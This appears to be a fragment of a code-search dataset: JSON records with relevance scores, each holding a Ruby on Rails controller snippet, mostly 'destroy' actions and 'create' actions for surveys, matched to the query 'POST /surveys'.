"" }, { "docid": "d71a0927b17792bcd7499570ef54553e", "score": "0.6889249", "text": "def destroy\n @pregunta_dicotomica.destroy\n respond_to do |format|\n format.html { redirect_to pregunta_dicotomicas_url, notice: 'Pregunta la pregunta fue destruida exitosamente.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "751479ffc09b9bafd30068231cd643ed", "score": "0.6883773", "text": "def destroy\n @safra_brotado = SafraBrotado.find(params[:id])\n @safra_brotado.destroy\n\n respond_to do |format|\n format.html { redirect_to \"/safra_produtos/#{@safra_brotado.safra_produto_id}/descontos\"}\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "bbb185c2a5889733cea749b521a31f63", "score": "0.6882783", "text": "def destroy\n @douro = Douro.find(params[:id])\n @douro.destroy\n\n respond_to do |format|\n format.html { redirect_to douros_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b95efff1f62f80693c57b9e99157db5f", "score": "0.6882742", "text": "def destroy\n @pontodetroca.destroy\n respond_to do |format|\n format.html { redirect_to pontodetrocas_url, notice: 'Pontodetroca was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "660c8fb275102a2665b7efda9a1d7584", "score": "0.6882208", "text": "def destroy\n @tipologium = Tipologium.find(params[:id])\n @tipologium.destroy\n\n respond_to do |format|\n format.html { redirect_to tipologia_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "4eadb61943fa9a636cad510bf21db1aa", "score": "0.68785757", "text": "def destroy\n @agronomiadecanato = Agronomiadecanato.find(params[:id])\n @agronomiadecanato.destroy\n\n respond_to do |format|\n format.html { redirect_to agronomiadecanatos_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "65875f15a253a4fa4f1bbe6c701c1915", "score": "0.6878037", "text": "def destroy\n @proyecto.destroy\n respond_to do |format|\n format.html { redirect_to proyectos_url, notice: 'Proyecto borrado.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e24ee4adc4a1a7e1a49389434baa7e1d", "score": "0.68778425", "text": "def destroy\n @fabricante = Fabricante.find(params[:id])\n @fabricante.destroy\n\n respond_to do |format|\n format.html { redirect_to fabricantes_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "451ac9dc381c2ece50be79915602ed7a", "score": "0.6876445", "text": "def destroy\n @comida = Comida.find(params[:id])\n @comida.destroy\n\n respond_to do |format|\n format.html { redirect_to comidas_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "e3bfc9ac908d0577fb5a12af9112a53e", "score": "0.68755996", "text": "def destroy\n @personal_rubro_tipo.destroy\n respond_to do |format|\n format.html { redirect_to personal_rubro_tipos_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "16a14e9c315d01e9f83b5e76889149b9", "score": "0.6875229", "text": "def destroy\n @palestrante.destroy\n respond_to do |format|\n format.html { redirect_to palestrantes_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "0740ef4890d4e182a5a64dd8e8442542", "score": "0.68738264", "text": "def destroy\n @detalle_pichanga = DetallePichanga.find(params[:id])\n @detalle_pichanga.destroy\n\n respond_to do |format|\n format.html { redirect_to detalle_pichangas_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a1d498c4de7fd26551456198f22e8373", "score": "0.68730927", "text": "def destroy\n @aprova = Aprova.find(params[:id])\n @aprova.destroy\n\n respond_to do |format|\n format.html { redirect_to aprovas_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a265194ef14d8a6ba6b3571e4e0dc332", "score": "0.68681425", "text": "def destroy\n @pregao.destroy\n respond_to do |format|\n format.html { redirect_to pregaos_url, notice: 'Pregão excluído com sucesso.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "20cb2fee2e91d0b7fae286e3af101efb", "score": "0.6867766", "text": "def destroy\n @punto = Punto.find(params[:id])\n @punto.destroy\n\n respond_to do |format|\n format.html { redirect_to puntos_url(:proyecto_id=>@punto.proyecto_id) }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e38f074cfee25d7705ef59a685e892bb", "score": "0.6867315", "text": "def destroy\n @doenca_pessoa.destroy\n respond_to do |format|\n format.html { redirect_to doenca_pessoas_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "ac051b7769e46d3cbab1d5fda84d7f00", "score": "0.68669814", "text": "def destroy\n @condominios = Condominio.find(params[:id])\n @condominios.destroy\n\n respond_to do |format|\n format.html { redirect_to condominia_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "4de98e3138e3cc0746b5fde08eab22ca", "score": "0.6865819", "text": "def destroy\n @tipo_comida.destroy\n respond_to do |format|\n format.html { redirect_to tipo_comidas_url, notice: 'Tipo comida was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "240c455071f4d312207a929d9474f007", "score": "0.68653435", "text": "def destroy\n @ocorrencia.destroy\n respond_to do |format|\n format.html { redirect_to ocorrencias_url, notice: @@msgs }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "dcb604c6b8ffe73ff932b6b6f3f8066f", "score": "0.6865332", "text": "def destroy\r\n @sivic_moduloescola.destroy\r\n respond_to do |format|\r\n format.html { redirect_to sivic_moduloescolas_url }\r\n format.json { head :no_content }\r\n end\r\n end", "title": "" }, { "docid": "506393cb5b1185455c36cd0efef16d79", "score": "0.68650585", "text": "def destroy\n @prestamo = Prestamo.find(params[:id])\n @prestamo.destroy\n\n respond_to do |format|\n format.html { redirect_to prestamos_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "506393cb5b1185455c36cd0efef16d79", "score": "0.68650585", "text": "def destroy\n @prestamo = Prestamo.find(params[:id])\n @prestamo.destroy\n\n respond_to do |format|\n format.html { redirect_to prestamos_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "66f1b4f156809d7effaddd36f4cac871", "score": "0.68637025", "text": "def destroy\n @presupuesto_detalle.destroy\n respond_to do |format|\n format.html { redirect_to presupuesto_detalles_url, notice: 'Presupuesto detalle was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a66ff0fb4461b14c834ae7f2ae990627", "score": "0.68635976", "text": "def destroy\n @tipo_servico.destroy\n respond_to do |format|\n format.html { redirect_to tipo_servicos_url, notice: 'Tipo servico apagado com sucesso!.' }\n format.json { head :no_content }\n end\n end", "title": "" } ]
4aa6b3185706fbf27de6fd64b38f8156
POST /surveys POST /surveys.xml
[ { "docid": "966f6afcba128fe383a9f4fb51d887f8", "score": "0.6316184", "text": "def create\n if not (granted_for?('root') || granted_for('survey'))\n access_denied\n else\n \n @survey = Survey.new(params[:survey])\n \n respond_to do |format|\n if @survey.save\n flash[:notice] = 'Survey was successfully created.'\n format.html { redirect_to(@survey) }\n format.xml { render :xml => @survey, :status => :created, :location => @survey }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @survey.errors, :status => :unprocessable_entity }\n end\n end\n end\n end", "title": "" } ]
[ { "docid": "48de9c65aa26b58aa44368fd618602c7", "score": "0.66603315", "text": "def create\n @survey = Survey.new(params[:survey])\n\n respond_to do |format|\n if @survey.save\n flash[:notice] = 'Survey was successfully created.'\n format.html { redirect_to(@survey) }\n format.xml { render :xml => @survey, :status => :created, :location => @survey }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @survey.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "48de9c65aa26b58aa44368fd618602c7", "score": "0.66603315", "text": "def create\n @survey = Survey.new(params[:survey])\n\n respond_to do |format|\n if @survey.save\n flash[:notice] = 'Survey was successfully created.'\n format.html { redirect_to(@survey) }\n format.xml { render :xml => @survey, :status => :created, :location => @survey }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @survey.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1e5c4b006cc945e80f8acb45d1c93c5b", "score": "0.66536057", "text": "def create\n @survey = Survey.new(params[:survey])\n\n respond_to do |format|\n if @survey.save\n format.html { redirect_to(@survey, :notice => 'Survey was successfully created.') }\n format.xml { render :xml => @survey, :status => :created, :location => @survey }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @survey.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1e5c4b006cc945e80f8acb45d1c93c5b", "score": "0.66536057", "text": "def create\n @survey = Survey.new(params[:survey])\n\n respond_to do |format|\n if @survey.save\n format.html { redirect_to(@survey, :notice => 'Survey was successfully created.') }\n format.xml { render :xml => @survey, :status => :created, :location => @survey }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @survey.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "60b125118ad5e227e1383300a6d2125f", "score": "0.65893394", "text": "def survey\n expose Survey.create(@oauth_token, params[:challenge_id].strip, \n params[:data])\n end", "title": "" }, { "docid": "755cc7c008227a6ee1fba1a0384c14e9", "score": "0.65732354", "text": "def create\n @survey = Survey.new(params[:survey])\n\n respond_to do |format|\n if @survey.save\n format.html { redirect_to(:action => \"edit\", :id => @survey.id, :notice => 'Survey was successfully created.') }\n format.xml { render :xml => @survey, :status => :created, :location => @survey }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @survey.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bd997c0f21050eed5a023708576c809b", "score": "0.64753807", "text": "def create\n @survey = Survey.new(survey_params)\n\n respond_to do |format|\n if @survey.save\n format.html { redirect_to surveys_path, notice: 'Survey was successfully created.' }\n format.json { render :show, status: :created, location: @survey }\n else\n format.html { render :new }\n format.json { render json: @survey.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "317791ac8380652e28c127626b41a944", "score": "0.6378537", "text": "def create\n @survey = Survey.new(params[:survey])\n\n respond_to do |format|\n if @survey.save\n format.html { render :thanks, notice: 'Survey was successfully created.' }\n format.json { render json: @survey, status: :created, location: @survey }\n else\n format.html { render action: \"new\" }\n format.json { render json: @survey.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0cc0f820a3dbf6cd1772f4a8547e48ec", "score": "0.6357231", "text": "def create\n @survey = Survey.new(survey_params)\n\n respond_to do |format|\n if @survey.save\n format.html { redirect_to @survey, notice: 'Survey was successfully created.' }\n format.json { render :show, status: :created, location: @survey }\n else\n format.html { render :new }\n format.json { render json: @survey.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0cc0f820a3dbf6cd1772f4a8547e48ec", "score": "0.6357231", "text": "def create\n @survey = Survey.new(survey_params)\n\n respond_to do |format|\n if @survey.save\n format.html { redirect_to @survey, notice: 'Survey was successfully created.' }\n format.json { render :show, status: :created, location: @survey }\n else\n format.html { render :new }\n format.json { render json: @survey.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a5558e29dbb2708a56c158e7d06d2c53", "score": "0.633294", "text": "def create\n @title = t('view.surveys.new_title')\n @survey = Survey.new(params[:survey])\n\n respond_to do |format|\n if @survey.save\n format.html { redirect_to root_url, notice: t('view.surveys.correctly_created') }\n format.json { render json: @survey, status: :created, location: @survey }\n else\n format.html { render action: 'new' }\n format.json { render json: @survey.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "00f6196276f9edb3b30bdf910ae1a39e", "score": "0.6327091", "text": "def create\n @survey = Survey.new(params[:survey])\n\n respond_to do |format|\n if @survey.save\n format.html { redirect_to root_url, notice: 'Survey was successfully created.' }\n format.json { render json: @survey, status: :created, location: @survey }\n else\n format.html { render action: \"new\" }\n format.json { render json: @survey.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e15ab80dcee2b910137a16c2f0cfafb1", "score": "0.6312819", "text": "def create\n @survey = Survey.new(params[:survey])\n\n respond_to do |format|\n if @survey.save\n format.html { redirect_to @survey, notice: 'Survey was successfully created.' }\n format.json { render json: @survey, status: :created, location: @survey }\n else\n format.html { render action: \"new\" }\n format.json { render json: @survey.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e15ab80dcee2b910137a16c2f0cfafb1", "score": "0.6312819", "text": "def create\n @survey = Survey.new(params[:survey])\n\n respond_to do |format|\n if @survey.save\n format.html { redirect_to @survey, notice: 'Survey was successfully created.' }\n format.json { render json: @survey, status: :created, location: @survey }\n else\n format.html { render action: \"new\" }\n format.json { render json: @survey.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e15ab80dcee2b910137a16c2f0cfafb1", "score": "0.6312819", "text": "def create\n @survey = Survey.new(params[:survey])\n\n respond_to do |format|\n if @survey.save\n format.html { redirect_to @survey, notice: 'Survey was successfully created.' }\n format.json { render json: @survey, status: :created, location: @survey }\n else\n format.html { render action: \"new\" }\n format.json { render json: @survey.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0338fa2e99fdfcb5da76d830dd2bf6fa", "score": "0.63120735", "text": "def create\n builder = SurveyBuilder.new\n\n if builder.build(survey_params)\n @survey = builder.survey\n render json: @survey, status: :created, location: @survey\n else\n render json: builder.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "e68624a0fd0baa2e6be5ae5c0c0876a0", "score": "0.63031435", "text": "def create\n json = params[:survey]\n json[:questions] = JSON.parse(json[:questions])\n json[:questions].each_with_index do |question, idx|\n json[:questions][idx]['id'] = idx + 1\n end\n @survey = Survey.new(json)\n respond_to do |format|\n if @survey.save\n format.html { redirect_to @survey, notice: 'Survey was successfully created.' }\n format.json { render json: @survey, status: :created, location: @survey }\n else\n format.html { render action: \"new\" }\n format.json { render json: @survey.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1b9cd339db0286f3b01fe6b1540b8766", "score": "0.6244228", "text": "def create\n @my_survey = nil # MySurvey.new(params[:my_survey])\n\n respond_to do |format|\n if @my_survey.save\n format.html { redirect_to @my_survey, notice: 'My survey was successfully created.' }\n format.json { render json: @my_survey, status: :created, location: @my_survey }\n else\n format.html { render action: \"new\" }\n format.json { render json: @my_survey.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "85e6870bafe084e63a815270024a7f4a", "score": "0.6238477", "text": "def create\n @survey = Survey.new(survey_params)\n raise FailedSaveError unless @survey.save\n respond_to do |format|\n format.html { redirect_to surveys_path, notice: 'Survey was successfully created.' }\n format.json { render :show, status: :created, location: @survey }\n end\n end", "title": "" }, { "docid": "84e7e99b5557ce5392f601c912bdeef0", "score": "0.6182277", "text": "def create\n @survey = Survey.new(survey_params)\n @survey.save\n respond_with( [ :admin, @survey] )\n end", "title": "" }, { "docid": "e156f1a4af026397e18d1ca8cfd6e72f", "score": "0.61095154", "text": "def create\n @s = []\n params.each do |name, value|\n if name =~ /vertical_(.+)$/\n if value =~ /radio(.+)$/\n @s << $1.to_i\n end\n end\n end\n @poll = Poll.find(Pollitem.find(@s[0].to_i).poll_id)\n for s in @s\n @survey = Survey.create(pollitem_id: s.to_i, user_id: current_user.id, poll_id: @poll.id)\n end\n\n\n respond_to do |format|\n if @survey.save\n format.html { redirect_to @survey, notice: 'Survey was successfully created.' }\n format.json { render :show, status: :created, location: @survey }\n format.js\n else\n format.html { render :new }\n format.json { render json: @survey.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f4d683180570dd03bd894ef4e51d36e1", "score": "0.6076377", "text": "def survey_params\n params.require(:survey).permit(:name,\n :intro,\n :thanks,\n :optout,\n :closed,\n :open,\n rapidfire_question_group_ids: [])\n end", "title": "" }, { "docid": "cc013bf30b68d5cb4bf46c9057903578", "score": "0.6069497", "text": "def create\n @survey = Survey.new(survey_params)\n\n respond_to do |format|\n if @survey.save\n format.html { redirect_to @survey, notice: 'Survey was succesfully created.' }\n else\n format.html { render :new }\n end\n end\n end", "title": "" }, { "docid": "bca160ddeafd9b7e8113097cb4f04360", "score": "0.60668683", "text": "def create\n @survey = Survey.new(survey_params)\n\n respond_to do |format|\n if @survey.save\n format.html { redirect_to admin_survey_path @survey, notice: 'Survey was successfully created.' }\n format.json { render :show, status: :created, location: @survey }\n else\n format.html { render :new }\n format.json { render json: @survey.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2b079a2afcd26103ad2c0562607bb011", "score": "0.60636604", "text": "def survey_params\n params.require(:survey).permit(:name,\n :intro,\n :thanks,\n :closed,\n :open,\n rapidfire_question_group_ids: [])\n end", "title": "" }, { "docid": "56122329e30d9ae21f94de4eb47c277f", "score": "0.6033081", "text": "def create\n @admin_survey = Admin::Survey.new(admin_survey_params)\n\n respond_to do |format|\n if @admin_survey.save\n format.html { redirect_to @admin_survey, notice: 'Survey was successfully created.' }\n format.json { render :show, status: :created, location: @admin_survey }\n else\n format.html { render :new }\n format.json { render json: @admin_survey.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "110e07f6aa5d213a218b3c4cae64a332", "score": "0.6006953", "text": "def new\n @survey = Survey.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @survey }\n end\n end", "title": "" }, { "docid": "110e07f6aa5d213a218b3c4cae64a332", "score": "0.6006953", "text": "def new\n @survey = Survey.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @survey }\n end\n end", "title": "" }, { "docid": "110e07f6aa5d213a218b3c4cae64a332", "score": "0.6006953", "text": "def new\n @survey = Survey.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @survey }\n end\n end", "title": "" }, { "docid": "110e07f6aa5d213a218b3c4cae64a332", "score": "0.6006953", "text": "def new\n @survey = Survey.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @survey }\n end\n end", "title": "" }, { "docid": "110e07f6aa5d213a218b3c4cae64a332", "score": "0.6006953", "text": "def new\n @survey = Survey.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @survey }\n end\n end", "title": "" }, { "docid": "110e07f6aa5d213a218b3c4cae64a332", "score": "0.6006953", "text": "def new\n @survey = Survey.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @survey }\n end\n end", "title": "" }, { "docid": "c937b12664a1044642a91dcf6fadec1a", "score": "0.59840846", "text": "def survey_params\n params[:survey]\n end", "title": "" }, { "docid": "2ea5910fda4210089895db5acd86338d", "score": "0.5953874", "text": "def create\n #raise params.inspect\n @survey = Survey.new(params[:survey])\n\n respond_to do |format|\n if @survey.save\n if is_admin?\n format.html { redirect_to @survey, notice: 'Survey was successfully created.' }\n format.json { render json: @survey, status: :created, location: @survey }\n else\n format.html { redirect_to new_survey_path, notice: 'Survey was successfully created.' }\n end\n else\n format.html { render action: \"new\" }\n format.json { render json: @survey.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d9a51708cbc31196d23e6a6d78fd879c", "score": "0.5930416", "text": "def create\n @survey_question = SurveyQuestion.new(params[:survey_question])\n\n respond_to do |format|\n if @survey_question.save\n format.html { redirect_to(:@survey_question, :notice => 'Survey question was successfully created.') }\n format.xml { render :xml => @survey_question, :status => :created, :location => @survey_question }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @survey_question.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "decfaa0c118fbd415680ffc033425b15", "score": "0.5928977", "text": "def create\n @signupsurvey = Signupsurvey.new(signupsurvey_params)\n\n respond_to do |format|\n if @signupsurvey.save\n format.html { redirect_to @signupsurvey, notice: 'Signupsurvey was successfully created.' }\n format.json { render action: 'show', status: :created, location: @signupsurvey }\n else\n format.html { render action: 'new' }\n format.json { render json: @signupsurvey.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "174e3da51e22a02a6d1fcff6bc10f48c", "score": "0.59274065", "text": "def create\n @smallsurvey = Smallsurvey.new(smallsurvey_params)\n\n respond_to do |format|\n if @smallsurvey.save\n format.html { redirect_to final_path, notice: 'Smallsurvey was successfully created.' }\n format.json { render :show, status: :created, location: @smallsurvey }\n else\n format.html { render :new }\n format.json { render json: @smallsurvey.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6b015d576fabe638ce53521c2c08efb3", "score": "0.59199333", "text": "def survey_params\n params[:survey]\n end", "title": "" }, { "docid": "0780e9f753d2dba584bffd087e20a77c", "score": "0.59068567", "text": "def create\n @survey = Survey.new(params[:survey])\n @survey.created_by = current_user.id\n\n respond_to do |format|\n if @survey.save\n flash[:notice] = 'Survey was successfully created.'\n format.html { redirect_to(@survey) }\n format.xml { render :xml => @survey, :status => :created, :location => @survey }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @survey.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f2ffa7abf0b00d15dda8e4cf658d7e61", "score": "0.5889006", "text": "def create\n @poststudysurvey = Poststudysurvey.new(poststudysurvey_params)\n\n respond_to do |format|\n if @poststudysurvey.save\n format.html { redirect_to @poststudysurvey, notice: 'Poststudysurvey was successfully created.' }\n format.json { render action: 'show', status: :created, location: @poststudysurvey }\n else\n format.html { render action: 'new' }\n format.json { render json: @poststudysurvey.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "31bcc9c20b775b2ca54ec3af85c9cf33", "score": "0.58847636", "text": "def create\n\n params[:survey_question][:survey_id] = params[:survey_id]\n @survey_question = SurveyQuestion.new(params[:survey_question])\n\n respond_to do |format|\n if @survey_question.save\n\n format.html { redirect_to survey_questions_path, notice: 'Survey question was successfully created.' }\n else\n format.html { render action: \"new\" }\n end\n end\n end", "title": "" }, { "docid": "face8913156fd71a05923b183f34453b", "score": "0.5882819", "text": "def survey_params\n params.require(:survey).permit(:name, :customer_id, :complete_message, :tracking_type_id)\n end", "title": "" }, { "docid": "9b0a31095b6a56ad890752c855dc8dd1", "score": "0.58810323", "text": "def create\n authorize! :create_survey, @course\n\n # Update email\n @org_course = @course.orgs_courses.by_org(@org).first\n CourseMail.update_email(@org_course, params[:email_subject], params[:email_message], :survey)\n\n question = Question.by_question_type('survey').find_by_id(params[:question_id])\n unless question\n raise 'Bad survey question'\n end\n\n # Surveys\n case params[:send_type]\n when 'selected_users'\n res = Survey.create_surveys(@org, @course, question, params[:user_ids].split(','), params[:invitation_ids].split(','))\n when 'all_users'\n # res = Survey.create_surveys_for_all_users(@org, @course, question, params)\n Survey.delay.create_surveys_for_all_users(@org, @course, question, params, current_user)\n flash[:notice] = \"Sending surveys in background\"\n return\n else\n raise \"Unknown send type\"\n end\n\n msg = []\n res.each do |type, emails|\n if emails.present?\n msg << \"#{emails.count} #{type}\"\n end\n end\n\n if msg.present?\n flash[:notice] = \"Result: \" + msg.join(' ')\n end\n\n rescue => ex\n log_error(ex)\n flash[:alert] = ex.message\n ensure\n redirect_to org_course_surveys_path(@org, @course)\n end", "title": "" }, { "docid": "889e3b71127570820fc953b61669fa15", "score": "0.58728904", "text": "def create\n @survey = Survey.new(params[:survey])\n\n respond_to do |format|\n if @survey.save\n format.html { redirect_to @survey, notice: 'Тест добавлен.' }\n format.json { render json: @survey, status: :created, location: @survey }\n else\n format.html { render action: \"new\" }\n format.json { render json: @survey.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "cfefb4f387c9fa6fdf3f0524c0736d2c", "score": "0.58665115", "text": "def surveys\n person_id = params[:person_id]\n \n surveys = SurveyService.findSurveysForPerson person_id\n \n render json: surveys.to_json, :content_type => 'application/json'\n end", "title": "" }, { "docid": "302f20f998bb525897a8bfe58d2ea5b4", "score": "0.5866137", "text": "def create\n @user_survey = UserSurvey.new(user_survey_params)\n\n respond_to do |format|\n if @user_survey.save\n format.html { redirect_to @user_survey, notice: 'User survey was successfully created.' }\n format.json { render :show, status: :created, location: @user_survey }\n else\n format.html { render :new }\n format.json { render json: @user_survey.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bb0c49f75b967cd5ecab6a4e0957af2a", "score": "0.5825468", "text": "def survey_params\n params.require(:survey).permit(:nombre, :inicio, :fin)\n end", "title": "" }, { "docid": "0c34ea0d0916d0bbe72fe5c7f580316d", "score": "0.5805143", "text": "def send_survey\n Message.send_survey_to(self)\n end", "title": "" }, { "docid": "b03fa9018885747c56ba90077c0e0a31", "score": "0.57972074", "text": "def create\n @survey = Survey.new(survey_params)\n\n respond_to do |format|\n if @survey.save\n flash.now[:success] = \"Création du questionaire.\"\n format.html { redirect_to @survey}\n format.json { render :show, status: :created, location: @survey }\n else\n flash.now[:danger] = \"Echec :\" + @survey.errors.full_messages.join(\" \")\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @survey.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "126c88387526d9ffac547f54740fd780", "score": "0.57945704", "text": "def survey_params\n params.require(:survey).permit(:title, :description, :file, :color, :estudo_id)\n end", "title": "" }, { "docid": "ed33b4dcde33f0018b8752dd7e56e81f", "score": "0.5786557", "text": "def survey_params\n params.require(:survey).permit(:title, :description, :author_id, :published, survey_questions_attributes: [:id, :text, :required, :position, :question_type, :answer_options, :_destroy, :boolean_questions_attributes => [:id, :answer], :short_answer_questions_attributes => [:id, :answer], :long_answer_questions_attributes => [:id, :answer], :dropdown_questions_attributes => [:id, :answer]])\n end", "title": "" }, { "docid": "86497a1a83edce4d43ab2a11c7e0a97c", "score": "0.5776291", "text": "def survey_params\n params.require(:survey).permit(:title, :description, :author_id,\n questions_attributes: [:id, :text, :description, :question_type_id, :_destroy])\n end", "title": "" }, { "docid": "c5e3e6a8cc6796ea457e93f0a3f53b9c", "score": "0.5752559", "text": "def create\n @survey_answer = SurveyAnswer.new(params[:survey_answer])\n\n respond_to do |format|\n if @survey_answer.save\n flash[:notice] = 'SurveyAnswer was successfully created.'\n format.html { redirect_to(@survey_answer) }\n format.xml { render :xml => @survey_answer, :status => :created, :location => @survey_answer }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @survey_answer.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "331cf85ba22c842a98d937dd4cd7c316", "score": "0.5751507", "text": "def index\n @surveys = Survey.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @surveys }\n end\n end", "title": "" }, { "docid": "d344d7bb588031626401d4ca415f1f3f", "score": "0.5732114", "text": "def submit_survey(formdata: {})\n filename = get_survey_path(formdata[:datafile])\n formdata.delete(:datafile) # Remove before generating output\n submission_data = JSON.pretty_generate(formdata) + \"\\n\"\n _div.well do\n _p.lead \"Submitting your survey data to: #{filename}\"\n _pre \"(#{$USER})\\n#{submission_data}\"\n end\n\n rc = 999 # Ensure it's a bogus value\n Dir.mktmpdir do |tmpdir|\n ASF::SVN.svn_('checkout',[get_survey_root(), tmpdir],_,{depth: 'files', user: $USER, password: $PASSWORD})\n\n survey_data = JSON.parse(File.read(filename), :symbolize_names => true)\n # Add user data (may overwrite existing entry!)\n survey_data[$USER] = formdata\n # Sort file (to keep diff clean) and write it back\n survey_data = Hash[survey_data.keys.sort.map {|k| [k, survey_data[k]]}]\n\n File.write(filename, JSON.pretty_generate(survey_data))\n Dir.chdir tmpdir do\n # rc = ASF::SVN.svn_('commit', filename, _, {msg: \"Survey submission (whimsy)\", user: $USER, password: $PASSWORD})\n end\n end\n if rc == 0\n return true\n else\n return false\n end\nend", "title": "" }, { "docid": "34f3e78c1a8a47c0e2b98660c3efc084", "score": "0.5725134", "text": "def create\n @played_survey = PlayedSurvey.new(played_survey_params)\n\n respond_to do |format|\n if @played_survey.save\n format.html { redirect_to @played_survey, notice: 'Played survey was successfully created.' }\n format.json { render :show, status: :created, location: @played_survey }\n else\n format.html { render :new }\n format.json { render json: @played_survey.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e89a8101db6fec09ebf728d549a0a57f", "score": "0.5692159", "text": "def survey_params\n params.require(:survey).permit(:name, :descr, :author)\n end", "title": "" }, { "docid": "c6999e8cfb699b06acc6ea09a9524324", "score": "0.56842047", "text": "def survey_params\n params.require(:survey).permit(:type_id, :name, :description, :end_date, :cover_picture)\n end", "title": "" }, { "docid": "69c9ad4cd8260783055869ca7f23df5d", "score": "0.5675421", "text": "def new\n @group = Group.find(params[:group_id])\n @survey = @group.surveys.build\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @survey }\n end\n end", "title": "" }, { "docid": "10bc67d64aaabf38df88f2f04bd01a74", "score": "0.5665418", "text": "def new\n @survey = Survey.new\n\n respond_to do |format|\n format.html # new.slim\n format.json { render json: @survey }\n end\n end", "title": "" }, { "docid": "e5853b7aae63e817329cb3d8b8d63ce0", "score": "0.56579876", "text": "def create\n\n @survey_response = SurveyResponse.new(survey_response_params)\n\n respond_to do |format|\n if @survey_response.save\n format.html { redirect_to survey_responses_path, notice: 'Survey response was successfully created.' }\n format.json { render :index, status: :created, location: @survey_response }\n else\n format.html { render :new }\n format.json { render json: @survey_response.errors, status: :unprocessable_entity }\n end\n end\n \n end", "title": "" }, { "docid": "7756bfcdd27e686ded1987498e0156d7", "score": "0.5648138", "text": "def index\n @surveys = Survey.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @surveys }\n end\n end", "title": "" }, { "docid": "57c65b6ad0bdf735c882b5d955a88fc1", "score": "0.5625444", "text": "def new\n @title = t('view.surveys.new_title')\n @survey = Survey.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @survey }\n end\n end", "title": "" }, { "docid": "16a7c62574abe7dfc0eafc86f4e7c002", "score": "0.56230754", "text": "def get_surveys(filter = /.*/)\n \n # Scrape index pages\n 